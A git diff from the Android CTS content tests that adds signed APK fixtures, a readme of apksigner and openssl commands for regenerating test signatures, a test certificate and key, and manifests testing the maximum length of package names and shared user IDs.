diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig
new file mode 100644
index 0000000..63fabed
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk
new file mode 100644
index 0000000..ec9c138
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk.idsig b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk.idsig
new file mode 100644
index 0000000..524ef76
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk.idsig
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests
new file mode 100644
index 0000000..e32f23e
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests.signature b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests.signature
new file mode 100644
index 0000000..2f75f98
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.digests.signature
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5.digests b/tests/tests/content/data/HelloWorld5.digests
new file mode 100644
index 0000000..9edbe61
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5.digests
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5.digests.signature b/tests/tests/content/data/HelloWorld5.digests.signature
new file mode 100644
index 0000000..c31270f
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5.digests.signature
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5_hdpi-v4.digests b/tests/tests/content/data/HelloWorld5_hdpi-v4.digests
new file mode 100644
index 0000000..bc2b941
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5_hdpi-v4.digests
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5_hdpi-v4.digests.signature b/tests/tests/content/data/HelloWorld5_hdpi-v4.digests.signature
new file mode 100644
index 0000000..14bf56e
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5_hdpi-v4.digests.signature
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5_mdpi-v4.digests b/tests/tests/content/data/HelloWorld5_mdpi-v4.digests
new file mode 100644
index 0000000..56ae6e3
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5_mdpi-v4.digests
Binary files differ
diff --git a/tests/tests/content/data/HelloWorld5_mdpi-v4.digests.signature b/tests/tests/content/data/HelloWorld5_mdpi-v4.digests.signature
new file mode 100644
index 0000000..392b7d5
--- /dev/null
+++ b/tests/tests/content/data/HelloWorld5_mdpi-v4.digests.signature
Binary files differ
diff --git a/tests/tests/content/data/readme.txt b/tests/tests/content/data/readme.txt
new file mode 100644
index 0000000..2984469
--- /dev/null
+++ b/tests/tests/content/data/readme.txt
@@ -0,0 +1,38 @@
+Fixed APKs, along with v4 signatures and digests used in ChecksumsTest.java.
+Has to be submitted instead of built to keep hashes constant.
+
+Generation of these apks was performed using the `apksigner` command-line tool,
+which lives at `tools/apksig/src/apksigner/java/com/android/apksigner/` in the
+android source tree.  Please refer to the usage instructions there for how to
+sign APKs using different keystores, providers, etc.
+
+Source app:
+    cts/hostsidetests/appsecurity/test-apps/tinyapp
+
+Use this command to re-generate the apk and v4 signature file:
+    apksigner sign --v2-signing-enabled false --v3-signing-enabled false --v4-signing-enabled false --key cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.pk8 --cert cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.x509.pem -out cts/tests/tests/content/data/CtsPkgInstallTinyAppV1.apk cts/hostsidetests/appsecurity/res/pkgsigverify/original.apk
+    apksigner sign --v2-signing-enabled true --v3-signing-enabled true --v4-signing-enabled --key cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.pk8 --cert cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.x509.pem -out cts/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4.apk cts/hostsidetests/appsecurity/res/pkgsigverify/original.apk
+    apksigner sign --v2-signing-enabled true --v3-signing-enabled true --v4-signing-enabled --key cts/hostsidetests/appsecurity/certs/pkgsigverify/ec-p384.pk8 --cert cts/hostsidetests/appsecurity/certs/pkgsigverify/ec-p384.x509.pem -out cts/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk cts/hostsidetests/appsecurity/res/pkgsigverify/original.apk
+    apksigner sign --v2-signing-enabled true --v3-signing-enabled true --v4-signing-enabled --verity-enabled --key cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.pk8 --cert cts/hostsidetests/appsecurity/certs/pkgsigverify/dsa-3072.x509.pem -out cts/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk cts/hostsidetests/appsecurity/res/pkgsigverify/original.apk
+
+!Please note that all hardcoded hashes in ChecksumsTest.java will have to be changed!
+Use md5sum, sha1sum, sha256sum, sha512sum to regenerate full apk hashes.
+
+To enable signature check, use ApkChecksums.writeChecksums to store the required checksums:
+    CtsPkgInstallTinyAppV2V3V4.digests
+    HelloWorld5.digests
+    HelloWorld5_hdpi-v4.digests
+    HelloWorld5_mdpi-v4.digests
+
+Create a self-signed certificate:
+    openssl req -x509 -newkey rsa:4096 -nodes -keyout test-key.pem -out test-cert.x509.pem -days 36500 -subj "/C=US/ST=California/L=Mountain View/O=Android/OU=Android/CN=Android/emailAddress=incremental-dev@google.com"
+Sign:
+    openssl cms -sign -binary -nosmimecap -in CtsPkgInstallTinyAppV2V3V4.digests -signer test-cert.x509.pem -inkey test-key.pem -outform der -out CtsPkgInstallTinyAppV2V3V4.digests.signature
+    openssl cms -sign -binary -nosmimecap -in HelloWorld5.digests -signer test-cert.x509.pem -inkey test-key.pem -outform der -out HelloWorld5.digests.signature
+    openssl cms -sign -binary -nosmimecap -in HelloWorld5_hdpi-v4.digests -signer test-cert.x509.pem -inkey test-key.pem -outform der -out HelloWorld5_hdpi-v4.digests.signature
+    openssl cms -sign -binary -nosmimecap -in HelloWorld5_mdpi-v4.digests -signer test-cert.x509.pem -inkey test-key.pem -outform der -out HelloWorld5_mdpi-v4.digests.signature
+
+Verify the resulting signature:
+    openssl cms -verify -binary -in CtsPkgInstallTinyAppV2V3V4.digests.signature -inform der -CAfile test-cert.x509.pem -signer test-cert.x509.pem -content CtsPkgInstallTinyAppV2V3V4.digests
+Print out the content of the signature:
+    openssl pkcs7 -print -inform DER -in CtsPkgInstallTinyAppV2V3V4.digests.signature
diff --git a/tests/tests/content/data/test-cert.x509.pem b/tests/tests/content/data/test-cert.x509.pem
new file mode 100644
index 0000000..53917205
--- /dev/null
+++ b/tests/tests/content/data/test-cert.x509.pem
@@ -0,0 +1,35 @@
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
diff --git a/tests/tests/content/data/test-key.pem b/tests/tests/content/data/test-key.pem
new file mode 100644
index 0000000..8c713cc
--- /dev/null
+++ b/tests/tests/content/data/test-key.pem
@@ -0,0 +1,52 @@
+-----BEGIN PRIVATE KEY-----
+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
+Glup51WDvqxTqZeu5H8LjUtRuNt33Cc=
+-----END PRIVATE KEY-----
diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp
index f8a2017..42f36d0 100644
--- a/tests/tests/content/emptytestapp/Android.bp
+++ b/tests/tests/content/emptytestapp/Android.bp
@@ -27,3 +27,53 @@
     ],
     min_sdk_version : "29"
 }
+
+android_test_helper_app {
+    name: "CtsContentLongPackageNameTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestLongPackageName.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    aaptflags: ["--warn-manifest-validation"]
+}
+
+android_test_helper_app {
+    name: "CtsContentLongSharedUserIdTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestLongSharedUserId.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    aaptflags: ["--warn-manifest-validation"]
+}
+
+android_test_helper_app {
+    name: "CtsContentMaxPackageNameTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestMaxPackageName.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsContentMaxSharedUserIdTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestMaxSharedUserId.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/content/emptytestapp/AndroidManifestLongPackageName.xml b/tests/tests/content/emptytestapp/AndroidManifestLongPackageName.xml
new file mode 100644
index 0000000..0040c62
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestLongPackageName.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that apk with a long package name size 224 could not be installed successfully.
+     The maximum size of the package name is 223 -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.cts.emptytestapp27jEBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVdiRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFzxNDbp2QfIFHZR6rebKzKBz6byQFM0DYQnYMwFWXjWkMPNdqkRLykoFLyBup53G68k2n8wl">
+<application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/emptytestapp/AndroidManifestLongSharedUserId.xml b/tests/tests/content/emptytestapp/AndroidManifestLongSharedUserId.xml
new file mode 100644
index 0000000..b57c609
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestLongSharedUserId.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that apk with a long shared user id size 224 could not be installed successfully.
+     The maximum size of the shared user id is 223 -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.cts.emptytestapp"
+        android:sharedUserId="android.content.cts.emptytestapp.shareduseridBp05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCYK">
+    <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/emptytestapp/AndroidManifestMaxPackageName.xml b/tests/tests/content/emptytestapp/AndroidManifestMaxPackageName.xml
new file mode 100644
index 0000000..21e59e5
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestMaxPackageName.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that apk with a maximum package name size 223 could be installed successfully. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.cts.emptytestapp27jEBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVdiRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFzxNDbp2QfIFHZR6rebKzKBz6byQFM0DYQnYMwFWXjWkMPNdqkRLykoFLyBup53G68k2n8w">
+<application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/emptytestapp/AndroidManifestMaxSharedUserId.xml b/tests/tests/content/emptytestapp/AndroidManifestMaxSharedUserId.xml
new file mode 100644
index 0000000..c5cb30b
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestMaxSharedUserId.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that apk with a maximum shared user id size 223 could be installed successfully. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.cts.emptytestapp"
+        android:sharedUserId="android.content.cts.emptytestapp.shareduseridBp05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCY">
+    <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/pm/SecureFrp/AndroidManifest.xml b/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
index 9e45d4a..309f4a1 100644
--- a/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
+++ b/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/content/res/color/testcolor_lstar.xml b/tests/tests/content/res/color/testcolor_lstar.xml
new file mode 100644
index 0000000..27c14f1
--- /dev/null
+++ b/tests/tests/content/res/color/testcolor_lstar.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:color="#FFA6C839" android:lStar="50" android:alpha="0.5"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/font/sample_downloadable_font.xml b/tests/tests/content/res/font/sample_downloadable_font.xml
new file mode 100644
index 0000000..2256f39
--- /dev/null
+++ b/tests/tests/content/res/font/sample_downloadable_font.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fontProviderAuthority="com.example.test.fontprovider"
+    android:fontProviderQuery="MyRequestedFont"
+    android:fontProviderPackage="com.example.test.fontprovider.package"
+    android:fontProviderSystemFontFamily="sans-serif">
+</font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/values-land/strings.xml b/tests/tests/content/res/values-land/strings.xml
new file mode 100644
index 0000000..09c1c4f
--- /dev/null
+++ b/tests/tests/content/res/values-land/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="config_overridden_string">landscape</string>
+</resources>
diff --git a/tests/tests/content/res/values/strings.xml b/tests/tests/content/res/values/strings.xml
index 0d72c9f..552bfdf 100644
--- a/tests/tests/content/res/values/strings.xml
+++ b/tests/tests/content/res/values/strings.xml
@@ -183,4 +183,9 @@
     <string name="permdesc_callAbroad">Make calls abroad</string>
 
     <string name="density_string">default</string>
+
+    <string name="attribution_label_one">attribution label one</string>
+    <string name="attribution_label_two">attribution label two</string>
+
+    <string name="config_overridden_string">default</string>
 </resources>
diff --git a/tests/tests/content/res/xml/metadata.xml b/tests/tests/content/res/xml/metadata.xml
new file mode 100644
index 0000000..d4f854f
--- /dev/null
+++ b/tests/tests/content/res/xml/metadata.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<thedata xmlns:android="http://schemas.android.com/apk/res/android"
+         rawText="some raw text"
+         rawColor="#ffffff00"
+         android:color="#f00"
+         android:text="@string/metadata_text"
+/>
\ No newline at end of file
